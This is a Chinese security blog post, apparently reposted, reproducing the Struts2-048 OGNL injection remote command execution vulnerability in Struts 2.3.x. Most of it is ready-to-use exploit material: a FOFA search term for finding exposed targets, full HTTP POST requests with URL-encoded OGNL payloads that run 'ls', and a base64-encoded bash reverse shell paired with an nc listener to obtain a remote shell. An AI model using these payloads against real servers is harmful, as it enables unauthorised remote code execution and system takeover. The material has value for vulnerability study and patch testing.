-Struts2-048 远程命令执行漏洞

本文转载于公众号:融云攻防实验室,原文地址:

漏洞复现-Struts2-048 远程命令执行漏洞

0x01 阅读须知

资源来源于网络,安全小天地只是再次进行分享,使用请遵循本站的免责申明

0x02 漏洞描述

Struts是Apache软件基金会(ASF)赞助的一个开源项目。它最初是Jakarta项目中的一个子项目,并在2004年3月成为ASF的顶级项目。它通过采用JavaServlet/JSP技术,实现了基于JavaEEWeb应用的Model-View-Controller(MVC)设计模式的应用框架,是MVC经典设计模式中的一个经典产品。在Struts2-048中,攻击者可以将用户可控的值添加到ActionMessage并在客户前端展示,导致其进入getText函数,最后message被当作ognl表达式执行远程命令。

图片[1]--Struts2-048 远程命令执行漏洞-安全小天地

0x03 漏洞复现

漏洞影响:struts2 2.3.x

FOFA:Struts2

1.构造poc查看文件ls

POST /integration/saveGangster.action HTTP/1.1
Host: x.x.x.x:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 594
Origin: http://x.x.x.x:8080
DNT: 1
Connection: close
Referer: http://x.x.x.x:8080/integration/saveGangster.action
Cookie: JSESSIONID=1F7986690CEA7EF6AF7022160DA1665F
Upgrade-Insecure-Requests: 1

name=%25%7B(%23dm%3D%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS).(%23_memberAccess%3F(%23_memberAccess%3D%23dm)%3A((%23container%3D%23context%5B\'com.opensymphony.xwork2.ActionContext.container\'%5D).(%23ognlUtil%3D%23container.getInstance(%40com.opensymphony.xwork2.ognl.OgnlUtil%40class)).(%23ognlUtil.getExcludedPackageNames().clear()).(%23ognlUtil.getExcludedClasses().clear()).(%23context.setMemberAccess(%23dm)))).(%23q%3D%40org.apache.commons.io.IOUtils%40toString(%40java.lang.Runtime%40getRuntime().exec(\'ls\').getInputStream())).(%23q)%7D&age=1&__checkbox_bustedBefore=true&description=1
图片[2]--Struts2-048 远程命令执行漏洞-安全小天地

2.构造反弹shell脚本,网址:https://ir0ny.top/pentest/reverse-encoder-shell.html

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcCxTxuMTY4LjEuMxvNzcxNyAwPiYx}|{base64,-d}|{bash,-i}
图片[3]--Struts2-048 远程命令执行漏洞-安全小天地

3.nc监听,并执行反弹shell命令,得到一个shell

POST /integration/saveGangster.action HTTP/1.1
Host: x.x.x.x:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 713
Origin: http://x.x.x.x:8080
DNT: 1
Connection: close
Referer: http://x.x.x.x:8080/integration/saveGangster.action
Cookie: JSESSIONID=1F7986690CEA7EF6AF7022160DA1665F
Upgrade-Insecure-Requests: 1

name=%25%7B(%23dm%3D%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS).(%23_memberAccess%3F(%23_memberAccess%3D%23dm)%3A((%23container%3D%23context%5B\'com.opensymphony.xwork2.ActionContext.container\'%5D).(%23ognlUtil%3D%23container.getInstance(%40com.opensymphony.xwork2.ognl.OgnlUtil%40class)).(%23ognlUtil.getExcludedPackageNames().clear()).(%23ognlUtil.getExcludedClasses().clear()).(%23context.setMemberAccess(%23dm)))).(%23q%3D%40org.apache.commons.io.IOUtils%40toString(%40java.lang.Runtime%40getRuntime().exec(\'bash%20-c%20%7Becho%2CYmFzaCAtaSA%2BJiAvxGV2LxRjcCx8xOTIuMTY4LjEuMTIvNzc3NyAwPiYx%7D%7C%7Bbase64%2C-d%7D%7C%7Bbash%2C-i%7D\').getInputStream())).(%23q)%7D&age=1&__checkbox_bustedBefore=true&description=1
图片[4]--Struts2-048 远程命令执行漏洞-安全小天地
------本文已结束,感谢您的阅读------
THE END
喜欢就支持一下吧
点赞15 分享
评论 抢沙发

请登录后发表评论

    暂无评论内容